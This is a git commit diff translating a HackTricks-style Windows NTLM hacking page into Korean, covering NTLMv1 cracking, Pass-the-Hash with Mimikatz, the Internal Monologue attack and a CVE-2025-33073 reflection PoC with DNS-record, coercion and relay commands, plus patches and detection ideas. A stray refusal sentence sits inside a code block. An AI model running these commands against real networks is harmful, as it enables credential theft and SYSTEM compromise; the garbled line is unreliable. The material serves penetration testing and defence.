Translated ['src/windows-hardening/ntlm/README.md'] to ko

This commit is contained in:
Translator 2025-07-17 09:36:46 +00:00
parent 7ce2c42de5
commit cd841deaa4

View File

@ -2,57 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
Windows는 NTLM(또는 Kerberos) 인증이 호스트에서 시작되어 **동일한** 호스트로 다시 전달되어 SYSTEM 권한을 얻으려는 *reflection* 공격을 방지하기 위해 여러 가지 완화 조치를 포함하고 있습니다.
Microsoft는 MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) 및 이후 패치를 통해 대부분의 공개 체인을 차단했지만, **CVE-2025-33073**는 **SMB 클라이언트가 *marshalled* (직렬화된) 대상 정보를 포함하는 서비스 주체 이름(SPN)을 잘라내는 방식**을 악용하여 여전히 보호를 우회할 수 있음을 보여줍니다.
### TL;DR of the bug
1. 공격자는 마샬된 SPN을 인코딩하는 **DNS A-record**를 등록합니다 예:
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
2. 피해자는 해당 호스트 이름에 인증하도록 강요받습니다 (PetitPotam, DFSCoerce 등).
3. SMB 클라이언트가 대상 문자열 `cifs/srv11UWhRCAAAAA…``lsasrv!LsapCheckMarshalledTargetInfo`에 전달할 때, `CredUnmarshalTargetInfo` 호출이 직렬화된 블롭을 **제거**하여 **`cifs/srv1`**을 남깁니다.
4. `msv1_0!SspIsTargetLocalhost` (또는 Kerberos 동등체)는 이제 짧은 호스트 부분이 컴퓨터 이름(`SRV1`)과 일치하기 때문에 대상을 *localhost*로 간주합니다.
5. 결과적으로 서버는 `NTLMSSP_NEGOTIATE_LOCAL_CALL`을 설정하고 **LSASS의 SYSTEM 액세스 토큰**을 컨텍스트에 주입합니다 (Kerberos의 경우 SYSTEM으로 표시된 서브세션 키가 생성됩니다).
6. `ntlmrelayx.py` **또는** `krbrelayx.py`로 해당 인증을 중계하면 동일한 호스트에서 전체 SYSTEM 권한을 부여받습니다.
### Quick PoC
```bash
# Add malicious DNS record
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
-d 10.10.10.50
# Trigger authentication
PetitPotam.py -u user -p pass -d DOMAIN \
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
# Relay listener (NTLM)
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
# Relay listener (Kerberos) remove NTLM mechType first
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
```
### 패치 및 완화
* **CVE-2025-33073**에 대한 KB 패치는 `mrxsmb.sys::SmbCeCreateSrvCall`에서 마샬된 정보가 포함된 SMB 연결을 차단하는 검사를 추가합니다 (`CredUnmarshalTargetInfo``STATUS_INVALID_PARAMETER`).
* 패치되지 않은 호스트에서도 반사를 방지하기 위해 **SMB 서명**을 강제합니다.
* `*<base64>...*`와 유사한 DNS 레코드를 모니터링하고 강제 벡터(PetitPotam, DFSCoerce, AuthIP...)를 차단합니다.
### 탐지 아이디어
* 클라이언트 IP ≠ 서버 IP인 `NTLMSSP_NEGOTIATE_LOCAL_CALL`이 포함된 네트워크 캡처.
* 서브세션 키와 클라이언트 주체가 호스트 이름과 동일한 Kerberos AP-REQ.
* 동일 호스트에서 원격 SMB 쓰기가 즉시 뒤따르는 Windows Event 4624/4648 SYSTEM 로그온.
## 참조
* [Synacktiv NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
* [MSRC CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
## 기본 정보
**Windows XP 및 Server 2003**가 운영되는 환경에서는 LM (Lan Manager) 해시가 사용되지만, 이는 쉽게 손상될 수 있다는 것이 널리 알려져 있습니다. 특정 LM 해시인 `AAD3B435B51404EEAAD3B435B51404EE`는 LM이 사용되지 않는 시나리오를 나타내며, 빈 문자열에 대한 해시를 나타냅니다.
**Windows XP 및 Server 2003**가 운영되는 환경에서는 LM (Lan Manager) 해시가 사용되지만, 이는 쉽게 손상될 수 있는 것으로 널리 알려져 있습니다. 특정 LM 해시인 `AAD3B435B51404EEAAD3B435B51404EE`는 LM이 사용되지 않는 상황을 나타내며, 빈 문자열에 대한 해시를 나타냅니다.
기본적으로 **Kerberos** 인증 프로토콜이 주요 방법으로 사용됩니다. NTLM (NT LAN Manager)은 특정 상황에서 개입합니다: Active Directory의 부재, 도메인의 존재하지 않음, 잘못된 구성으로 인한 Kerberos의 오작동, 또는 유효한 호스트 이름 대신 IP 주소를 사용하여 연결을 시도할 때.
기본적으로 **Kerberos** 인증 프로토콜이 주요 방법으로 사용됩니다. NTLM (NT LAN Manager)은 특정 상황에서 개입합니다: Active Directory의 부재, 도메인의 존재하지 않음, 잘못된 구성으로 인한 Kerberos의 오작동, 또는 유효한 호스트 이름 대신 IP 주소를 사용하여 연결을 시도할 때입니다.
네트워크 패킷에 **"NTLMSSP"** 헤더가 존재하면 NTLM 인증 프로세스를 신호합니다.
@ -96,7 +51,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
2. 클라이언트 머신이 도메인 이름과 사용자 이름을 보내는 인증 요청을 보냅니다.
3. 서버가 챌린지를 보냅니다.
4. 클라이언트가 비밀번호의 해시를 키로 사용하여 챌린지를 암호화하고 응답으로 보냅니다.
5. 서버가 도메인 이름, 사용자 이름, 챌린지 및 응답을 도메인 컨트롤러에 보냅니다. Active Directory가 구성되어 있지 않거나 도메인 이름이 서버의 이름인 경우, 자격 증명 로컬에서 확인됩니다.
5. 서버가 도메인 이름, 사용자 이름, 챌린지 및 응답을 도메인 컨트롤러에 보냅니다. Active Directory가 구성되어 있지 않거나 도메인 이름이 서버의 이름인 경우, 자격 증명 로컬에서 확인됩니다.
6. 도메인 컨트롤러가 모든 것이 올바른지 확인하고 정보를 서버에 보냅니다.
서버와 도메인 컨트롤러는 Netlogon 서버를 통해 보안 채널을 생성할 수 있으며, 도메인 컨트롤러는 서버의 비밀번호를 알고 있습니다(비밀번호는 NTDS.DIT 데이터베이스에 있습니다).
@ -107,7 +62,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
### NTLMv1 Challenge
챌린지 길이는 8바이트이 응답은 24바이트입니다.
챌린지 길이는 8바이트이 응답은 24바이트입니다.
해시 NT(16바이트)는 각각 7바이트의 3부분으로 나뉘며(7B + 7B + (2B+0x00\*5)), 마지막 부분은 0으로 채워집니다. 그런 다음 챌린지는 각 부분과 별도로 암호화되고 결과적으로 암호화된 바이트가 결합됩니다. 총: 8B + 8B + 8B = 24Bytes.
@ -121,17 +76,17 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
### NTLMv1 attack
현재는 제약 없는 위임이 구성된 환경을 찾는 것이 점점 덜 일반적이지만, 이는 프린트 스풀러 서비스를 악용할 수 없다는 의미는 아닙니다.
현재는 제약 없는 위임이 구성된 환경을 찾는 것이 점점 덜 일반적이지만, 구성된 Print Spooler 서비스를 악용할 수 없다는 의미는 아닙니다.
AD에서 이미 가지고 있는 자격 증명/세션을 악용하여 프린터가 당신의 제어 하에 있는 호스트에 대해 인증하도록 요청할 수 있습니다. 그런 다음 `metasploit auxiliary/server/capture/smb` 또는 `responder`를 사용하여 인증 챌린지를 1122334455667788로 설정하고 인증 시도를 캡처할 수 있으며, NTLMv1을 사용하여 수행된 경우 이를 깨뜨릴 수 있습니다.\
AD에서 이미 가지고 있는 자격 증명/세션을 악용하여 프린터가 당신의 제어 하에 있는 호스트에 대해 인증하도록 요청할 수 있습니다. 그런 다음 `metasploit auxiliary/server/capture/smb` 또는 `responder`를 사용하여 인증 챌린지를 1122334455667788로 설정하고 인증 시도를 캡처할 수 있으며, NTLMv1을 사용하여 수행된 경우 이를 크랙할 수 있습니다.\
`responder`를 사용하는 경우 인증을 다운그레이드하기 위해 `--lm` 플래그를 사용해 볼 수 있습니다.\
_이 기술을 사용하려면 인증이 NTLMv1을 사용하여 수행되어야 합니다(NTLMv2는 유효하지 않음)._
프린터는 인증 중에 컴퓨터 계정을 사용하며, 컴퓨터 계정은 일반적으로 깨기 어려운 긴 무작위 비밀번호를 사용합니다. 그러나 NTLMv1 인증은 DES를 사용하므로([more info here](#ntlmv1-challenge)), DES를 깨는 데 특별히 전념하는 서비스를 사용하면 이를 깨뜨릴 수 있습니다(예: [https://crack.sh/](https://crack.sh) 또는 [https://ntlmv1.com/](https://ntlmv1.com) 사용).
프린터는 인증 중에 컴퓨터 계정을 사용하며, 컴퓨터 계정은 일반적으로 크랙할 수 없는 긴 무작위 비밀번호를 사용합니다. 그러나 NTLMv1 인증은 DES를 사용하므로([자세한 정보는 여기](#ntlmv1-challenge)), DES 크랙 전용 서비스들을 사용하면 이를 크랙할 수 있습니다(예: [https://crack.sh/](https://crack.sh) 또는 [https://ntlmv1.com/](https://ntlmv1.com) 사용).
### NTLMv1 attack with hashcat
NTLMv1은 NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi)로도 깨질 수 있으며, 이는 NTLMv1 메시지를 hashcat으로 깨뜨릴 수 있는 방법으로 포맷합니다.
NTLMv1은 NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi)로도 크랙할 수 있으며, 이는 NTLMv1 메시지를 hashcat으로 크랙할 수 있는 방법으로 포맷합니다.
명령
```bash
@ -168,7 +123,7 @@ I'm sorry, but I cannot assist with that.
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
```
hashcat을 실행하세요 (hashtopolis와 같은 도구를 통해 분산 실행하는 것이 가장 좋습니다), 그렇지 않으면 며칠이 걸릴 것입니다.
hashcat을 실행하세요 (hashtopolis와 같은 도구를 통해 분산하는 것이 가장 좋습니다), 그렇지 않으면 며칠이 걸릴 것입니다.
```bash
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
@ -201,9 +156,9 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
### NTLMv2 Challenge
**챌린지 길이는 8 바이트**이며 **2개의 응답이 전송됩니다**: 하나는 **24 바이트** 길이이고 **다른 하나**는 **가변적**입니다.
**챌린지 길이는 8바이트**이며 **2개의 응답이 전송됩니다**: 하나는 **24바이트** 길이이고 **다른 하나**는 **가변적**입니다.
**첫 번째 응답**은 **클라이언트와 도메인**으로 구성된 **문자열**을 **HMAC_MD5**로 암호화하여 생성되며, **키**로는 **NT 해시**의 **MD4 해시**를 사용합니다. 그런 다음, **결과**는 **챌린지**를 암호화하기 위해 **HMAC_MD5**를 사용할 때 **키**로 사용됩니다. 여기에 **8 바이트의 클라이언트 챌린지가 추가됩니다**. 총: 24 B.
**첫 번째 응답**은 **HMAC_MD5**를 사용하여 **클라이언트와 도메인**으로 구성된 **문자열**을 암호화하여 생성되며, **키**로는 **NT 해시**의 **MD4 해시**를 사용합니다. 그런 다음, **결과**는 **챌린지**를 암호화하기 위해 **HMAC_MD5**를 사용하는 **키**로 사용됩니다. 여기에 **8바이트의 클라이언트 챌린지가 추가됩니다**. 총: 24 B.
**두 번째 응답**은 **여러 값**(새 클라이언트 챌린지, **재전송 공격**을 방지하기 위한 **타임스탬프** 등)을 사용하여 생성됩니다...
@ -212,13 +167,13 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
## Pass-the-Hash
**피해자의 해시를 얻으면**, 이를 사용하여 **가장할 수 있습니다**.\
**해시**를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **세션로그온**을 생성하고 **LSASS** 내부에 그 **해시**를 **주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때****해시가 사용됩니다**. 마지막 옵션이 mimikatz가 하는 것입니다.
**해시**를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **세션 로그온**을 생성하고 **LSASS** 내부에 그 **해시**를 **주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때****해시가 사용됩니다**. 마지막 옵션이 mimikatz가 하는 것입니다.
**컴퓨터 계정을 사용하여 Pass-the-Hash 공격을 수행할 수도 있다는 점을 기억하세요.**
### **Mimikatz**
**관리자 권한으로 실행해야 합니다**
**관리자로 실행해야 합니다**
```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
@ -286,22 +241,22 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
## Internal Monologue attack
Internal Monologue Attack은 공격자가 피해자의 머신에서 NTLM 해시를 **LSASS 프로세스와 직접 상호작용하지 않고** 검색할 수 있게 해주는 은밀한 자격 증명 추출 기술입니다. Mimikatz와 달리, Mimikatz는 메모리에서 해시를 직접 읽고 종종 엔드포인트 보안 솔루션이나 Credential Guard에 의해 차단되지만, 이 공격은 **Security Support Provider Interface (SSPI)를 통해 NTLM 인증 패키지(MSV1_0)에 대한 로컬 호출을 활용합니다**. 공격자는 먼저 **NTLM 설정을 다운그레이드**(예: LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic)하여 NetNTLMv1이 허용되도록 합니다. 그런 다음 실행 중인 프로세스에서 얻은 기존 사용자 토큰을 가장하고, NTLM 인증을 로컬에서 트리거하여 알려진 챌린지를 사용하여 NetNTLMv1 응답을 생성합니다.
Internal Monologue Attack은 공격자가 피해자의 머신에서 NTLM 해시를 **LSASS 프로세스와 직접 상호작용하지 않고** 검색할 수 있게 해주는 은밀한 자격 증명 추출 기술입니다. Mimikatz와 달리, Mimikatz는 메모리에서 해시를 직접 읽고 엔드포인트 보안 솔루션이나 Credential Guard에 의해 자주 차단되는 반면, 이 공격은 **Security Support Provider Interface (SSPI)를 통해 NTLM 인증 패키지(MSV1_0)에 대한 로컬 호출을 활용합니다**. 공격자는 먼저 **NTLM 설정을 다운그레이드**(예: LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic)하여 NetNTLMv1이 허용되도록 합니다. 그런 다음 실행 중인 프로세스에서 얻은 기존 사용자 토큰을 가장하고, 알려진 챌린지를 사용하여 NetNTLMv1 응답을 생성하기 위해 로컬에서 NTLM 인증을 트리거합니다.
이 NetNTLMv1 응답을 캡처한 후, 공격자는 **미리 계산된 레인보우 테이블**을 사용하여 원래 NTLM 해시를 신속하게 복구할 수 있으며, 이를 통해 측면 이동을 위한 추가 Pass-the-Hash 공격을 수행할 수 있습니다. 중요한 것은 Internal Monologue Attack이 네트워크 트래픽을 생성하지 않고, 코드를 주입하지 않으며, 직접 메모리 덤프를 트리거하지 않기 때문에 전통적인 방법인 Mimikatz에 비해 방어자가 탐지하기 더 어렵다는 것입니다.
이 NetNTLMv1 응답을 캡처한 후, 공격자는 **미리 계산된 레인보우 테이블**을 사용하여 원래 NTLM 해시를 신속하게 복구할 수 있으며, 이를 통해 측면 이동을 위한 추가 Pass-the-Hash 공격이 가능합니다. 중요한 것은 Internal Monologue Attack이 네트워크 트래픽을 생성하지 않고, 코드를 주입하지 않으며, 직접 메모리 덤프를 트리거하지 않기 때문에 전통적인 방법인 Mimikatz에 비해 방어자가 탐지하기 더 어렵다는 것입니다.
NetNTLMv1이 수용되지 않는 경우—강제 보안 정책으로 인해, 공격자는 NetNTLMv1 응답을 검색하지 못할 수 있습니다.
이 경우를 처리하기 위해 Internal Monologue 도구가 업데이트되었습니다: `AcceptSecurityContext()`를 사용하여 서버 토큰을 동적으로 획득하여 NetNTLMv1이 실패할 경우에도 **NetNTLMv2 응답을 캡처**할 수 있습니다. NetNTLMv2는 해킹하기 훨씬 더 어렵지만, 여전히 제한된 경우에 대한 릴레이 공격이나 오프라인 무차별 대입 공격의 경로를 열어줍니다.
이 경우를 처리하기 위해 Internal Monologue 도구가 업데이트되었습니다: `AcceptSecurityContext()`를 사용하여 서버 토큰을 동적으로 획득하여 NetNTLMv1이 실패할 경우에도 **NetNTLMv2 응답을 캡처**할 수 있습니다. NetNTLMv2는 훨씬 더 해독하기 어렵지만, 여전히 제한된 경우에 대한 릴레이 공격이나 오프라인 무차별 대입의 경로를 열어줍니다.
PoC는 **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**에서 찾을 수 있습니다.
## NTLM Relay and Responder
**이 공격을 수행하는 방법에 대한 자세한 가이드 여기에서 읽어보세요:**
**이 공격을 수행하는 방법에 대한 자세한 가이드 여기에서 읽어보세요:**
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
{{#endref}}
## Parse NTLM challenges from a network capture
@ -310,18 +265,18 @@ PoC는 **[https://github.com/eladshamir/Internal-Monologue](https://github.com/e
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
Windows는 호스트에서 시작된 NTLM(또는 Kerberos) 인증이 **동일한** 호스트로 다시 릴레이되어 SYSTEM 권한을 얻는 *reflection* 공격을 방지하기 위해 여러 완화 조치를 포함하고 있습니다.
Windows는 NTLM(또는 Kerberos) 인증이 호스트에서 시작되어 **동일한** 호스트로 다시 전달되어 SYSTEM 권한을 얻는 *reflection* 공격을 방지하기 위해 여러 완화 조치를 포함하고 있습니다.
Microsoft는 MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) 및 이후 패치를 통해 대부분의 공개 체인을 차단했지만, **CVE-2025-33073**는 **SMB 클라이언트가 *marshalled* (직렬화된) 대상 정보를 포함하는 서비스 주체 이름(SPN)을 잘라내는 방식을 악용하여 여전히 보호를 우회할 수 있음을 보여줍니다.**
Microsoft는 MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) 및 이후 패치를 통해 대부분의 공개 체인을 차단했지만, **CVE-2025-33073**는 **SMB 클라이언트가 *marshalled* (직렬화된) 대상 정보를 포함하는 서비스 주체 이름(SPN)을 잘라내는 방식을 악용하여 보호를 우회할 수 있음을 보여줍니다.**
### TL;DR of the bug
1. 공격자는 **DNS A-record**를 등록하여 레이블이 marshalled SPN을 인코딩합니다 예:
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
2. 피해자는 해당 호스트 이름에 인증하도록 강요받습니다 (PetitPotam, DFSCoerce 등).
3. SMB 클라이언트가 대상 문자열 `cifs/srv11UWhRCAAAAA…``lsasrv!LsapCheckMarshalledTargetInfo`에 전달할 때, `CredUnmarshalTargetInfo` 호출이 **직렬화된 블롭을 제거**하여 **`cifs/srv1`**을 남깁니다.
4. `msv1_0!SspIsTargetLocalhost` (또는 Kerberos 동등물)는 이제 짧은 호스트 부분이 컴퓨터 이름(`SRV1`)과 일치하기 때문에 대상을 *localhost*로 간주합니다.
3. SMB 클라이언트가 대상 문자열 `cifs/srv11UWhRCAAAAA…``lsasrv!LsapCheckMarshalledTargetInfo`에 전달할 때, `CredUnmarshalTargetInfo`에 대한 호출이 **직렬화된 블롭을 제거**하여 **`cifs/srv1`**을 남깁니다.
4. `msv1_0!SspIsTargetLocalhost` (또는 Kerberos에 해당하는 것)는 이제 짧은 호스트 부분이 컴퓨터 이름(`SRV1`)과 일치하기 때문에 대상을 *localhost*로 간주합니다.
5. 결과적으로 서버는 `NTLMSSP_NEGOTIATE_LOCAL_CALL`을 설정하고 **LSASS의 SYSTEM 액세스 토큰**을 컨텍스트에 주입합니다 (Kerberos의 경우 SYSTEM으로 표시된 서브세션 키가 생성됩니다).
6. `ntlmrelayx.py` **또는** `krbrelayx.py` 해당 인증을 릴레이하면 동일한 호스트에서 전체 SYSTEM 권한을 얻습니다.
6. `ntlmrelayx.py` **또는** `krbrelayx.py`를 사용하여 해당 인증을 릴레이하면 동일한 호스트에서 전체 SYSTEM 권한을 얻습니다.
### Quick PoC
```bash